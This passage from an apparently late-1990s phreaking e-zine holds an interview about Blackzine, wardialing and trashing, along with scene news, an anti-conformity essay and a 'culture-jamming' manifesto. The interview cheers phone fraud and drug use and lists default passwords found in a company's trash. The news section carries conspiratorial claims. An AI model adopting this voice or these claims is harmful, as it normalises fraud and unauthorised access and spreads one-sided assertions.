phreak from Toronto who had +someone pass out my info to him on IRC. I wouldn't go as far as saying that he +would have taught me everything I know, that came with experience. But he got me +into doing more doing, opposed to doing more talking. I may have mentioned a kid +by the name of Dismaster a few years back, in greets and stuff... Mabye a couple +of you people know him under the nick of Dismaster.. + +Mabye this is why I have always preached for people to try out what they read in +text files, instead of talking about the files they read. I hope I have tried to +put a demonstration of that in my zine and at least made it easy to follow so +others who find similar material could find Blackzine useful. + + - How and when was Phones of Zen started? What are the goals and purpose +of the group? + + - Phones of Zen, I should have clairifed a long time ago, was never much of a +group. I had tried at some point and did have a members list, but that member +list has been taken off long ago. It died because of a lack of direction and +interest in it's supposed members as well as a lack of participation. Also, a +lack of leadership and purpose on my part. I believe one of the reasons for this +is because I wanted to do what a lot of other groups try to do: do everything. + +When you have members who are supposed to be working on either a variety of +things, or on different things, then it loses the purpose of a group. It would +seem that an effective way to kill off contributing factors of a group is to not +have a set goal, purpose or direction. + +Phones of Zen started from the ackronym POZ, which was used a long time ago in +the local scene when I used the tagline of "Power of Zed Prodoktions" on a +couple of projects. Nobody liked the "Power of Zed" name, so I came up with +something more suitable to my alias, "Phones of Zen". There were some other +names which had come to mind. PiSS, or "Phones is Sexy Shit" was another.. +Phones of Zen seemed more acceptable. Here's another fine example of public +democracy. + +The Phones of Zen site origionally had no other purpose than to get a permanent +spot where people could download blackzine from. I tried some things with it. +Adding a phone section, a links section, a bit of java for some news and codes, +as well as files became a bit much to update on a regular basis. Plus, it was +taking away from the general purpose of the site, which was to host my zine. I +suppose one other thing did go over fairly well on it, which was the personals +section. It was setup so that people could list their info and find other people +within their area. I figured something like that was needed because I got a +little tired of seeing various people looking around for people in their own +area. + +I guess that sort of takes me to the present, where people ask me to do +Blackzine in html, because windows can't read or open bkz extensions. Or they +claim that the file is corrupted because that happens. Like, duh. Use fucking +notepad, or wordpad. Have people ever changed over a couple of years. I guess +that's what happens when you have a webpage. Gotta wonder what it's like for +the kids who get more hits that I do. + + - What's Blackzine about? Why did you decide to create a zine? + + - Blackzine started out from around the time some people from the local +scene were willing to scan the entire city. The project (Scan '96) never took +off because people were too chicken shit, because they figured that they would +get arrested for wardialing. I guess the one event which motivated me into +producing such a list was my own wardialing experience. + +I had been lying there in bed one night listening to my computer wardial. One +number I had called was answered by someone wiht an authoritative voice, which +said nothing but "Security" and some other intelligible rubbish.. Although the +only thing I caught from that was the word "security" it did make me realize +that I had no fucking clue of both what was out there and what I could possibly +call. When I flipped through the white pages I came accross the blue pages, +which was a government directory. It had the police and RCMP in neighbouring +towns, tax centers, mla's, etc.. stuff which generally shouldn't be phoned in +the first place. + +The second issue had a bit more in terms of numbers and organization. The third +edition came out with an ascii from a local artist, Shamen, and all sorts of +other information in a hope to get people active. I also wanted to explain what +it was that people would find when they were scanning. + +Due to incidences beyond my control, I found myself without a computer for +several months. In that time, I was provided with the opportunity to practice +some of the files I had previously read. I suppose that's what got me into basic +Telephony in the first place. + + - Which articles that were published in Blackzine stand out in your mind, +and why? + + - I think the ackronyms file was the most tedious. I had to arrange and add +in a pile of ackronyms and provide a description.. No big deal, but it took a +while to do. That and the first issue of Blackzine. It's was boring as hell +entering in phone number after phone number.. Blackzine 7 has recently come out. +I think I have the largest compilation of manually scanned (skanned) phone +numbers in the WATS! section as well. I try and be origional with all the files +in there, so to an extent they all have their own little history. + + - What types of articles and information can we look forward to reading +in future issues of Blackzine? + + - Just about anything at this point, except unix. Everyone does unix, or +something similar. I'd hope to provide more telephony related topics, mabye a +bit on x25. It started out as oldschool, and it'll probably continue on as +oldschool. I would expect that with everything would come logs, which is a big +difference from most zines out there. Over all, I think I've done an okay job +up to this point. Probably a lot of the same stuff you would come to expect. No, +Probably better. + +In issue 4, I did something on recording voice phenominon. Oddly enough, I've +had a couple of people recently ask for more files like that. Read the issue to +see what it's about. However, I may include some of my own material in future +zines. Either that, or start up something a little separate from the zine and +throw it on the site as well. + +Yet, although I want to deviate from the idea of the zine a bit, it still seems +that a lot of people out there have forgotten their roots, or where things +started out from. I was thinking of releasing a file at some point, and if I can +find a host for it, which would be about 50 megs of a hard drive. It would +provide enough information, which most of would be useless anyways, but it would +give a chance for people to see how things used to be, and what people had to +do for their hacks. + +I've also considered making my own hackers style movie, except it would be more +realistic. No fancy colors, fonts, or clothes.. No chicks. Just something along +"a day in the life of a hacker", and carry a camera on certain events. Trashing, +do some activities, letting toneloc scan for a few hours. But like everything, +this will probably take a while. Hell, have shots of someone getting drunk or +having a smoke. + +With regards to the files in blackzine, I have done my best to keep everything +fairly origional. Too many people have a beige box file. Everyone and their dog +does unix.. If I cover that shit, then I'm not different from anyone else. This +is why I include logs periodically, and probably why my issues take so long. +It's not necessairily a matter of that I have nothing to write, it's just that +these topics have to be found. Mabye I'm too hardcore on the oldschool. + +I've also considered, due to the lack of stuff I have been producing lately, +just to stop the whole zine thing, and release articles as I do them for a +while. If by popular demand, this is what people want then I'll do that instead. + + - What types of things can be found on http://poz.8m.com? + + - A section on the local Calgary 2600 meeting, all the Blackzine issues. +The personals section is a listing of people by province and country for anyone +who wants find others within the area. Its open to anyone and if you want on +there, all you have to do is provide me with what information you want to be +made available. Best of all, it's free. I'm probably going to have a news or +some sort of update section which I'll have to update periodically. Too many +people ask for it to be updated. + + - How do you think Phones of Zen is viewed by the majority of visitors to +your site? + +Seems as though the only gripe from people is that it isn't updated all that +often. I've played around with several various ideas during it's existance. I +did a bit of Java for a K-Kodez section, which I didn't care to update on a +regular basis. There was a news section, and a pile of files a while back. +Thing is, is that anyone searching for these files would find them elsewhere. +It took away from the origionality of it all. It's a place to hold Blackzine. +It's also the official page for the Calgary 2600 meets. + +In retrospect to all that, I couldn't really care what most people think of the +page. I'm not expecting people to stay there for long. I guess you could compare +my page to sex. You go there, get in, get what you want and get out. My site +doesn't sound too bad when you compare it to sex now, does it? + +I recently redid it. Took a lot of crap off. Links were the first to go. +Everything else went next. I want to keep it a simple site. For blackzine, I +have a couple of other things on there. That's fine. But it's got enough as it +is. + + - What do you think of the current h/p scene, and in your opinion how has +it changed since you began? Also, what's the status of the local h/p scene in +your NPA? + + - It's not the same as it used to be. Oh well. Times change, people change. +I change, you change, we all live for a high amount of change or else get stuck +in some small shallow shell and end up rotting in the middle of nowhere. + +You gotta live with it and move with it or else the people you think are stupid +will soon leave you in the dust and think you're stupid. There's not all that +much in terms of active people out there within 403. Lots of old inactives. + +But generally, for the security market and scene, there is quite a bit. SNI, +now securityfocus, is based out of Calgary, for instance. They would proably +be the most familiar to you all. + +One might take it as though all the illegals are going legal, and working for +"the man", or, "the company" and I suppose it really is that way. I dunno. I +know some of them. It doesn't feel any different. What happens is that a lot +of people either smarten up or grow up, and figure they're better off making +money at doing what they do. + + - What has been your experience with telco employees as a whole? + + - Generally I have found most of the 0 and 411 crew to not be too bright. + +Aside from that, most of them are a very amiable people.. Tim from PNOC who was +up for racing down the high way and through half of downtown.. Only after +when we stopped next to the Telco building did he tell me he worked there. The +time I was trashing at a CO and a truck pulled in. I asked if I could take some +of the crap the had by their garbage, and he said it was okay. Mike at the Bell +800 directory knew me by name. Friendly guy.. Most of the others were complete +assholes, and I'd let them know. + +Same thing even with a lot of the security to an extent, except if security does +care about something, they get mad. It's fun to race them, and just harrass them +in general if you get on their bad side right away. Nobody takes them seriously +except themselves. Some are stupid, some are lax. Just don't get caught by the +wrong security I guess and you're in the clear. + +Seems like some Nortel people have issues though. I remember going to one +gathering about two years ago, and ended up listening to these people discuss +the new "call forwarding" feature and how impressed they were with it.. One of +them had the balls to tell everyone about the front part of the white pages. Now +all our secrets are out. Damn. + +I think that it's rather shitty that so many kids out there are blinded by the +"down with the Telco" or "Kill all Telco employees" or something equivocally +stupid and ignorant. Wonder if it comes from a lot of the previous PLA shit +which came out ages ago. Sure sure.. the telco does provide jobs for lots of +people, but more than that, it's giving you a hobby. Something to do. If it +wasn't for the Telco, lots of you kids would have no fucking life at all. +You'd have no computer as well. So they do their part. They're people too. +Support fone fraud - give people a job. Do fone fraud - give yourself a life. +This life, may one day be your job. It's all about loving what you do. + + - Do you read any h/p related zines? If so, please list a few of the +ones that you read and respect. + + - I have never been much of a zine reader.. I used to be at some point, and +then I figured that I didn't really need what a lot of them had to either share +or offer. Some of the many reasons for this was that the origionality of them +was lacking. You can only read so many different ways to build a beige box, or +reworded files which you've seen elsewhere. The Jolly Roger files are very +characteristic of this - something I find very sickening. Bastards who revamp or +use everyone elses files because they are too stupid to come up with their own +should be shot. A big problem with many people is that they don't know how to +write, or when they write, it's not entertaining whatsoever and they may as well +save webspace for wherever it is that they stick their crap and not release it. + +Zines were something I would turn to only when I needed some information, was +really bored, had nothing better to do, or wanted to get out of my boring state +and do something. I suppose, mostly ou of boredom.. Things come out of that +boredom when you put to life some of the things you read about. It's kinda cool. +Some of you kids should try doing what you read and write about sometime. The +old phrack were good for this, as well as a fun read. Overall, the early Phrack, +Time For a Change (TFC), and some PLA issues come to mind. There's plenty of +zines out there. Seems like everyone has their own two cents to say. Some, had +their full dollar's worth. Recently though, some of the few things I have read +from front to end are your zine and The Clone's Nettwerked, so that's worth +something I would imagine. But overall, I turn to my own zine more often than +anyone else's. It is to some extent a pile of information which I have found +useful at some point or another. So if it's useful to the writer, I would hope +it's at least useful to other people out there as well. + + - Which h/p groups, if any, do you respect? + + - Not too many out there that I can say positive things about. If there was +one group that I could give shout outs to, it would have to be hack canada. +Seems like their site is more telephone related, so it should probably be phreak +canada, but Cyborg/ASM has obivously put quite some time, effort and research +into what he does. It's probably the main site for files and information +regarding Telus bashing, but I'm sure it's got more of a purpose than that. Go +check it out sometime. I don't consider it much of a group, now that Molly's +left, or should I say that Cyb's left.. Seems more appropriate to consider it as +an organization, because the material put out and setup in it's nature are of a +much better quality than most groups out there. It's also a bit more oganized +it seems. Others which come to mind would be MMX's PLA in NY, but that's dead +now.. The old Zencor crew when it was around had a lot of good moments. + + - Which web sites do you usually frequent? + + - There aren't that many. I'm not an avid HNN'er. I put a good portion of +them on my website in the links section. But they were taken down recently. At +some point, I'll organize my bookmarks and put them on POZ. You want to see what +I use? It'll all be in there.. just visit my website and remind me occaionally. + + - Do you want to share any memorable hacking/phreaking related experiences? + + - I suppose that everything in itself is an experience. A hobby of mine for +the past few years has been trashing, which has brought me some of the funniest +experiences in the scene. It also supported me for a little while. Lots of +people have never gone, don't know about it, or just couldn't care about it. +Even if your trashing night sucks, which it probably will, you usually come +across something which makes it all worthwhile at least once in every ten or +twenty runs. I'll share with you some hauls I have had in previous years: + +A Mitel 100 Superswitch, which was sold for about $250. Three people could +barely lift this SOB into my van. +70 Greyscale Monitors, 20 Keyboards, 20 Desktop 286's. Over a weekend I made +over $500, and I still have lots of shit left over. +A Hitachi Color 21" Sun monitor.. These things are expensive and very fucking +heavy. +3 Huge boxes of floppy disks, of all kinds. Weighs about 80 pounds. +DEC's default password list for some building.. about 500 pages of new accounts. +Default passwords were farmer, hello1 and password. + +OF course, there other stuff you run into. Businesses have techie people who +pass messages to each other, and inevitably end up in the garbage. Sometimes +it's in bulk.. I've laughed at a lot of it. Stuff like the following should +indicate that you may be able to get a job at the place where these people work. + +Meets are usually fun.. We used to have anywhere from 30-60 people who would +show at 2600 on a regular basis. (However, the local scene was still dead). +There are plenty of experiences and things which happen. + +Of course there's the occasional conf or two, but only a couple actually were +worth the phone call. The "talk to a hacker and phreaker party lines", when they +were aired on the radio with Zencor were a blast. Of course, if none of it was +fun, why would anyone do it? + + - Have you ever been busted? Or, do you know anyone that's been busted? +If so, would you like to describe the event, the circumstances of the bust +and the conclusion? + +I have no criminal record at this point. However, I have come very close on +several occasions, and on at least one occasion have had the luxury of the back +of a squad car for related.. It's not fun stuff. And yes, I've known several +people who have been arraigned and "busted". + +It's funny how a lot of kids out there have no fear of being arrested, or +raided, or even having to deal with the possibility. Either that, or that's +their claim. All too often I see it being shrugged off by some fuckhead here +and there, thinking that the Young Offenders Act will protect them, or some +other law. Thing is, is that it's not such a joke anymore when you do get put in +that situation. The "no fear" attitude brings on a lot of the stupidity people +complain about in the scene. It's not necessairily the naivete which brings that +about, but bold stupidity and a lack of fear of being caught. Of course, anyone +who's smart will never get caught, and, were all smart and never slip up or +do anything stupid, right? + +Such people are the kind of people who will get others caught, and take everyone +they can down with them. When you hit that golden age of 18, things change +pretty fast. The whole thing pretty much sucks. See how fast a fresh ass like +yours gets caught in prison. Mabye we should all move to Norway so that we can +do as we please. + + - Do you want to mention any boards that you call or people in the scene +that you know? + + - I think there are various people whom I may as well give shout outs to.. +Some made a difference in what I was doing and where I was headed. Some I was +active with, and others are just people who have been around, which well, had +it's moments I guess. Some are local, some aren't. If there were some people to +give shout outs to they would be Drule Tesseract, Pink Torpedo, Art3mis, +Kweiheri, Dismaster (blotch) and the Zencor clan. + +As for people I know, I'm not big on the whole IRC crap, but there are some +people who have come a long way since I've known them. The Clone is one.. He +should be commended for what he has going for him now, compared to what he was +doing before. Ironically, I got an email at the time of this writing from him, +saying he can't believe how far he's come since the TW days.. I can't beleive it +either.. I think he's lying and full of shit. You'd better go to his webpage and +see for yourself. heh. Good too see some people get out of the lame phase other +people are eternally stuck in. + +And general respects for other reasons should probably go out to Question, +Emerson, Phone Phantom and Phrog. + + - Are there any other interesting things or general comments that you have +and wish to share? + +Sex, drugs, rock and roll? + +Do drugs. + +Who needs sex when you've got drugs? Rock and roll isn't the same shit as it +used to be. Now it's all this alternative crap which sells like a dime hooker +on the fifty dollar stroll. When you're on drugs, you can make music in your +head. + +It's been said that the worlds best minds were on drugs when they came up with +their theories, ideas, concepts, or whatever it is that they did.. Einstein, +some people claim, did lots of acid. I suppose that's a good point. After an +intense night of tripping like that, when I haven't had a haircut in close to +a year, is what I look like too. Without the wrinkles. + +So, the next time someone asks.. "are you on crack?" it might be an intelligent +response, to say, "why yes.. yes, in fact, I am" and perhaps offer it too them. + + + - Thanks for agreeing to be interviewed Lord Narayana. As you know, I +respect Phones of Zen and am a faithful reader of Blackzine. Thanks again for +your contributions to the Damage, INC. Phreaky Field Phreaking List. Keep up +the good work man... and stay in touch. + +Before I conclude this interview, I just want to say that Lord Naryana has +many good ideas, such as the Personals section on his web site... sections +in Blackzine, as well as ones that we've discussed in Email. He's doing an +admirable job of trying to keep people in the Canadian h/p scene connected, +and informed. He should be commended for that. + + +NEWS FROM THE TRENCHES - {NEWS} + +The Damage, INC. Phreaky Field Phreaking List (Fall 1999 Edition) was released +on November 7th, 1999. Visit the web site to obtain a copy. If you'd like to +contribute numbers (ANIs, CNAs, Ringbacks, 1-800/877/888s for telcos, Fax-Backs, +test numbers, conference services, numbers taken directly from your local yellow +pages directory, or anything else of interest) then contact us by sending Email +to damage_inc@disinfo.net and we'll make sure your alias is listed. + +Stay informed by joining the Damage, INC. mailing list. By joining the list +you're assured to receive the latest news, updates and release announcements +faster than anyone else. ;) + +Black Hole Cafe at (773) 404-1352 is the new Damage, INC. U.S. HQ. Also, +zero network, founded by Jack Phlash and Marlon Brando, is the official network +of Damage, INC. If you run a h/p oriented board and would like to apply to +become a node, visit http://surf.to/damage_inc and download the latest +information pack. + +Damage Incorporated is now one of Nettwerked's official affiliates. The Clone +recently notified me personally in Email. He complimented the group and also +recognized the fact that for the past 7 years we've been contributing to the +Canadian hacking/phreaking scene. We appreciate the recognition and gladly +accept the honour of being an Nettwerked affiliate. More than anything else, +it feels good to see other people/groups recognizing the work we're doing, and +witness the birth of cooperation amongst the Canadian groups in the scene. Not +only am I proud of what Damage, INC. has done thus far, but I'm very proud of +the other active, quality groups and people in Canada, and what they're doing +for the scene. I hope that we can continue to share knowledge and work towards +improving the spread of information... and look forward to working with groups +and people outside of Damage, INC. in the future. + +Damage, INC. is still seeking pictures of payphones, especially ones that are +uncommon and unique. Since we can't go everywhere and take the payphone pics +ourselves, this project requires contributions from people in different areas. +We've been adding Bell Canada pictures to our collection on the site, but still +want payphone pics from the United States and other countries. + +Fox (a U.S. television network) has a new game show called Greed. It promotes +greed, infighting amongst the players, bribery and the notion that the almighty +dollar is more important than anything else, including possibly the lives of the +show's contestants. Meaning, some people that get eliminated (or as they say, +terminated) might be a tad bitter and end up killing the person that challenged +them after the show is over. But perhaps that's exactly what Fox has in mind. +They can then appear on either Cops or America's Most Wanted... both of which +are on Fox. But regardless of that, the show is definitely geared towards a +target audience of zombies and greed mongers. Call their 1-900 number if you +want to get ripped off and put more money into the Fox coffers. I thought I'd +seen and heard it all, until I watched the first Greed show and heard "Tower of +Greed", "Greed Team" and witnessed the show's host (Chucky) trying to bribe the +greedy captain. It's not even funny. It's just another example of zombie +culture, and a "society" that's driven by greed. + +The mass media is now starting to jump on the Waco coverup bandwagon. All of +a sudden, 6 years later, it's a story again. Well, it's too late. Damage, INC. +beat them to the punch... yet again. They fucked up in 1993 by not using their +vast resources to investigate what caused the fire and what really happened. +The media left the vicinity shortly after the compound was in ashes and soon +after dropped their coverage entirely. They simply took law enforcement +agencies and the government at their word, which is not investigative reporting. +It's ridiculous and incompetent. It is inexcusable. To CNN, Dateline NBC, etc. +'reporters': Try *investigating* and *reporting* for once instead of asking +extremely obvious questions 6 years later, and doubting that a coverup exists. +For once, I'd like to see the mass media investigate and report their findings +to the public before a coverup is so well known that it's common knowledge. + +Anyway, thanks go to Blackie Lawless for his Waco article in the last issue. +Not only was it an informative reminder of what happened, but it was a wake-up +call. What amazes me isn't the despicable conduct of the baby killing FBI, but +the fact that most Americans don't seem to give a fuck about what happened. Nor +do they stop and think that it could happen to them and the people they know. + +Never forget Waco. Never forget Ruby Ridge. Never forget the brutality, the +coverup and the carnage... lest we allow it to happen again. History has a way +of repeating itself. Just as, the corrupt government has a way of committing +the same hideous, atrocious acts over and over again. As always, we'll try to +keep you informed of any significant developments that occur. + +AOL and Time Warner announced a merger, which will be the largest in history. +It's still subject to approval by the U.S. government, but they don't forsee +any problems. For more information on the merger, read the articles included +in the REPORTS FROM THE FRONT section in this issue. + +L0pht Heavy Industries has merged with @Stake to form a new security company. +With The L0pht's 'heavy' involvement, it's almost sure to be a success. For +more information, see the REPORTS FROM THE FRONT articles, or visit their sites +at www.l0pht.com and www.atstake.com + + +OBJECTIVE OPINIONS - {OPINIONS} +Following the trends and going with the grain. + +We live in a world in which markets are driven by the latest trends and fads. +Wherever there's money to be made, or people to be exploited, the fat cat +corporations will be there to get their piece of the action. They advertise +and spend millions of dollars building "an image" of their company and their +products in order to get potential consumers to buy what they're selling. +Basically, they don't look at people as being people. They're just another +commodity. They're just walking wallets. And above all else, whoever buys +their products and services are considered by them to be their followers. +Followers are the greatest friends that a corporation could ever hope to have. +It's sad but true. You may be wondering how this affects you and asking the +question, "So what?" To that, I can only say that it literally affects everyone +in one way or another... with the exception of survivalists and anyone else +that can live independently, completely outside of "society". But those without +any attachment or reliance on "society" are few and far between. Plus, since +this zine is distributed electronically, there's not much chance they'll be +reading this article anyway. Plus, since they are the few that it doesn't apply +to, it'd be pointless for them to read it. So instead, I'll concentrate my +efforts on reaching the people out there that it affects directly; the ones +that it could possibly help. + +First, to make things absolutely clear, the title doesn't imply following the +trends in the stock market. Also, going with the grain has nothing to do +with your own personal tastes, as long as they are indeed your own. Meaning, +if you buy clothing solely because the name brand is trendy, or purchase +music CDs simply because you know they are popular, then that has nothing to +do with personal taste. It fits into the "going with the grain" category. +It isn't even debateable since the reason for buying isn't a question of taste +anymore, it's a matter of being influenced by advertisements, peers, or an +attempt to fit in and be popular amongst those around you in "society". At +that point, you haven't made a choice as an individual. You've simply reacted +to outside stimuli, consciously, subconsciously or in some cases, unconsciously. +Sure, sometimes people buy things on the spur of the moment. That's called +impulse buying. Other times people buy something and regret it almost +immediately. That's buyer's remorse. But that's not what I'm speaking about. +I'm referring to people that buy something *because* they've been influenced, +almost programmed, to buy it. They can't resist. They're almost like mice +that see a mousetrap that's baited with cheese, yet they walk into the trap +to their death anyway. They're predisposed to buying whatever the large +corporations out there are peddling. They watch a commercial a few times and +it affects them so greatly that they can't resist purchasing the product. + +Then there are the people that always follow all of the trends and take going +with the grain to the next level. Not only do they buy all of the latest +CDs, go to all of the most popular movies, and buy the most expensive, +fashionable clothing they can find, but they apply going with the grain to +every aspect of their lives. Whatever their friends are doing, whatever the +celebrities and most popular people they know are doing, they try to emulate. +At that point, they're no longer a person. They're no longer an individual. +They're simply a follower. They're what I usually refer to as, a zombie. +Being a zombie means being a follower. It means giving up yourself and all +that you are for following whatever trends you can latch onto. Think of it +as an exchange. It's a very poor one at that, because you don't gain anything. +You only manage to lose whatever it is that made you unique. As soon as you +start following the trends you've lost. I'm sure you know of people that fit +this pattern and could've been the focus of this article. Sadly, there are +many followers around, and they exist in every part of the world. Geography +doesn't make any difference at all. Nor does age, race, status in "society" +or wealth. Literally anyone, anywhere, can be a follower. Following presents +an equal opportunity for all. + +Going with the grain is more than just following the trends though. It means +thoughtlessly doing what is expected. It means reacting without thinking. +It means following what the majority does. And it means forsaking your own +beliefs and opinions in order to conform to the rest of the group. In essence, +it's a group mentality that you become a part of. You don't actually become +part of the group itself. Instead, you just falsely believe that you are. +You don't really gain acceptance either. You just lose your ability to make +decisions, give opinions and stand by your beliefs. After a while, it becomes +very easy for you to go with the grain, rather than against it. It's less of +a hassle that way and it avoids arguments. It's so much easier. + +The biggest problem is that as more people go with the grain, there are less +individuals. There's less uniqueness. There are just indistinguishable clones +walking around that look and act the same. Followers affect everyone, not just +those in direct contact with them. And as I previously said, they're +everywhere. Eventually there's nobody left to carry on an intelligent +conversation or debate with. You see, followers can't successfully debate since +they're just zombies, always ready to quit and agree. They're willing to +relinquish their thoughts and opinions in order to avoid any arguments that +might ensue. At the same time, they're always willing to jump on a bandwagon +and take the side of another zombie that's spouting "society's" rhetoric and +lies. But again, they don't have their own beliefs. I suppose you could say +that's a disadvantage. I'd rather call it a weakness though. ;) + +Have you ever watched ants or other insects closely and studied their behaviour? +As an experiment, try doing that sometime... then watch zombies and compare +them. If you can't see the similarities and make the comparison, you're blind. +You don't have to be an extremely observant person to notice that ants are +followers, just as zombies are. They're the same. They should be looked at +in the same light. In my opinion, not everyone that walks upright is a sentient +being. Not by my definition anyway. And my definition of sentience doesn't +vary greatly from a dictionary's definition of that term. That's another thing. +Zombies and followers don't have personal definitions for anything. They always +rely on using someone else's definition and will never stray from that. If +you ask them to define something, in their own words, most often they're +confused by that request and unable to fulfil it. Just as, if you ask them +questions that require opinionated answers or their own personal beliefs to +be involved, they're at a loss for words.. and thus exposed. + +In conclusion, I hope that this article has at least given you some insight +into followers and their nature. Following and going with the grain applies +to literally everything imaginable. It's in all aspects of life. But that +doesn't mean an attempt can't be made on your part to avoid becoming a follower. +Indeed, you can, and should try to prevent that from happening. Make the choice +to be an individual, go your own way, and you'll never regret it. + +Written by BLACKENED ú Damage, INC. (C)opyright 1999 + + + Culture-Jamming + a manifesto concerning those who wish to change society + by the Anchorite-- theanchorite@hotmail.com + + +We who proclaim ourselves culture-jammers, believe for various reasons that our +society has been overrun by infectious elements that endanger the very freedom +that should be most dear to mankind, the freedom of thought. Even in physical +slavery, man has always kept this freedom, and thereby fought to overcome his +enslavers. But the fetters that bind man today are not of the type that may be +seen, though they are no less strong than steel. These fetters include +"consumptive logic", protective rationalization and mindlessness. + +We who proclaim ourselves culture-jammers - quietly, amongst ourselves, or +loudly, for all to hear - are Anarchists, Communists, Democrats and Republicans; +Atheists, Buddhists and Christians. Many culture-jammers would not so label +themselves, their "jamming" is done subtly, through the actions they carry out +every day of their lives. Others who label themselves culture-jammers are +merely hedonists, wishing for nothing more than to destroy the institutions they +feel have harmed them. + +We true culture-jammers wish only to see men free of the self-imposed tyranny +that has befallen us all. + + +The fetters of man + +There are countless tyrannies against the freedom of the mind. Of course, in +dictatorships and the communisms of Lenin and Stalin, these injustices are +evident. Therefore, I will deal with the subtleties found in the modern +democracy as well as the generalizations that proliferate in human nature. + +I advocate that there is nothing inherently wrong with capitalism. Men with the +ability to make products or provide service that require a degree of +specialization or talent should benefit from their ability economically. Even +corporations have their place in such a complicated economy as we have today. +But in the use of a corporation as an entity behind which to hide from morality +while promoting mindless consumerism is a major cause of the problem in today's +society. The advertising department advertises, in research and development, +scientists 'evolve' a product and a CEO is just providing security for his +workers and financial gain for himself. In this manner, it is easy for each man +to absolve himself of guilt, if he even recognizes his guilt, which is unlikely. +"I merely do my job to the best of my ability," he says, and his conscious is +cleared thereby. + +This clearing of the conscious is an example of protective rationalization. A +common example is the rather sophmoric, "everyone else is doing it, so why can't +I?" This small loop of logic is an ever-handy technique to absolve oneself of +any sin. With it, it is almost no trick at all "to turn vice into virtue and +slander into truth, impotence into abstinence, arrogance into humility, plunder +into philanthropy, thievery into honor, blasphemy into wisdom, brutality into +patriotism, and sadism into justice" [Catch 22, Joseph Heller chap. 34]. + +Consumptive logic is also a major cause of these fetters. I would define +consumptive logic as the misconception that buying things will make one happy. +The easiest road to happiness has always been hedonism, which in this case is +the instant gratification provided by buying things. Those who have wished for +wealth have preyed upon those who wish for happiness, who are the general +population, by furthering the link between happiness with consumption. Through +links easily made with operant and classical conditioning, the ideas of +happiness and consumption have been almost irreconcilably interlaced within +these cultures. + +I assert that another fetter is popular culture itself. In democracy, the will +of the masses generally has the most sway. This is especially so in the United +States of America and other countries that have never had an aristocracy. Since +the masses believe themselves to hold a firm grip on what is right or wrong, +society puts a pressure to conform to these standards on those who do not have +the same opinions. Each man wishing to "fit in" makes little concessions to +society, until he finally does fit in. Popular culture increases this effect: +it multiplies the amount of stimuli provided by and approved by the masses that +reaches each individual, thereby increasing societal pressure and further +alienating those who do not conform. This process takes place very largely in +childhood, at which time the delicate ego is most susceptible. (The American +Christmas tradition happens to be a lucky accident in this direction.) + +Mindlessness is a consequence for many people who live in these societies. They +go about lives that are so busy that they have neither the time nor the energy +to see the big picture. Though they have the ability for rational thought, they +are besieged each day with so much external stimuli that they get lost in the +details. This mindlessness often results in people going through their day +merely by rote. + + +These conditions and others have impacted society so greatly as to change +multitudes of individuals into a mass that can not think for itself. This mass, +this culture is what is quite often termed the system. + + +The culture-jammer + +Those who have been unable or unwilling to make the concessions necessary to +adapt to this culture often live as chameleons among the populace. These people +go about their lives with distaste, going wholly unnoticed. Others choose to +disregard people outside their cliques. Some live as criminals, though these +people do more damage than good and tend to strengthen the herd instinct among +those who already fear and loathe the outsider. Still others try to shake the +system. These are quite often hackers, phreakers and general disassemblers of +society. + +These shakers of the system and these chameleons are the primary candidates for +becoming a true culture-jammer. What most people lack is a singularity of will. +They understand that there are vast problems in the richest nations of the world +in this age, and that these problems are not easily remedied. The necessary +singularity of will is organization, direct purposes and rallying points to +provide strength for the movement. + + +The will of the culture-jammers + +To remedy such problems as today exist, it is necessary to realize that no one +person or group has every answer. No one individual holds a monopoly on truth. +We, who truly wish to see change for the better, know that there are lessons to +be learned from a deluge of sources. Knowledge is not power. But in this +knowledge, there is the key to a power far greater than can be espied anywhere +today. There are many paths to Wisdom, but the path walked by the masses today +leads in the opposite direction, to Slavery and Self-destruction. + +There are two different methods of fixing this problem: the remove and replace +method and the destroy and rebuild method. Most culture-jammers assert that the +system is too corrupted to just replace certain elements, and I have seen no +evidence to argue otherwise. + +We wish only to destroy the current system, which is based upon the rape of the +mind. + + +The methods of jamming a culture + +As the system rapes individuals, many individuals choose to rape the system. +People such as the aforementioned hackers, phreakers and general disassemblers +do so. They take advantage of the little nuances of society. Unfortunately, with +such a strong system as this, this type of rebellion does little good unless +wisely targeted and is most often not attributed to the cause of culture- +jamming. Therefore, it should be a rule for all true culture-jammers to leave +some sort of notice of intention. Make the "squares" think, or at least take +notice. + +The more daring or better-organized make use of an information campaign. Their +purpose is often to give the squares some stimuli that will make them think. +This is generally ineffective, as it is viewed as mere graffiti by most. +Instead, an information campaign can be used effectively to draw more +individuals already curious, but without knowledge of how to participate, into +the movement. + +Direct assaults on the system are extremely dangerous, but can have great +results. + +The squares train their children in the established way of thought from birth. +(Were you fed McDonald's as a baby?) The ingrained ideals are difficult to +remove. Sometimes they can be overcome by an individual by himself, more often +there needs to be some form of education. It must be accepted by those who wish +to help that many people adhere so strongly to their current beliefs that a +total destruction of the system would be needed to save them. Even then, this +change will be intensely painful. We all know who these people are, but there +is little that we can do for them but offer support when the day comes. + +From my observations, the groups and individuals wishing to carry out such plans +need greater organization in order to break any ground in the direction of +destroying the system. + + +Conclusion + +The purpose of this pamphlet is to try to initiate a singularity of will in the +culture-jamming groups as well as introduce culture-jamming to those not yet +familiar with the concept. I will write and have written others, dealing with +specifics. I encourage others to write and discuss these concepts as well. Let +me know. + +By all means, spread this around as much as possible. If anyone has a copy of +Acrobat, change this into a print format and send that back to me for +distribution. + +If you know any way of helping our cause get in touch with me, and if you are a +member of an existing group of jammers or a group with aims or views that are +similar get in touch with me. + + +The Anchorite +who is currently located at theanchorite@hotmail.com + + +REPORTS FROM THE FRONT - {REPORTS} + +The Kevin Mitnick story is a long, well documented saga. In fact, you could +easily wallpaper a large room with article clippings regarding Mitnick... if +you so desired. Plus, it has so many twists and turns, so much intrigue, that +an imaginative Hollywood writer couldn't possibly dream up a comparable script. +And if they did, they'd probably be told that it was too far fetched and so +unreal that the audience wouldn't find it believable. It is, without a doubt, +one of the wildest, longest lasting hacker stories ever. The difference is, +it's not fictional, it's true. Therefore, I decided to include a few recent +Mitnick articles for those that haven't been following the case... It looks +as though he'll finally be released in January. For more information on the +Kevin Mitnick case, visit http://www.kevinmitnick.com + +I've also included several articles regarding Hotmail security breaches, even +though it has been well publicized by the mass media. And there are general +interest articles that show how hackers are portrayed by the media as well. + +------------------------------------------------------------------------------- + +Computer Hacker Kevin Mitnick Sent To Prison + +LOS ANGELES (Reuters) - Computer hacker Kevin Mitnick, who pleaded guilty +earlier this year to computer and wire fraud charges, was sentenced Monday +to 46 months in federal prison and ordered to pay 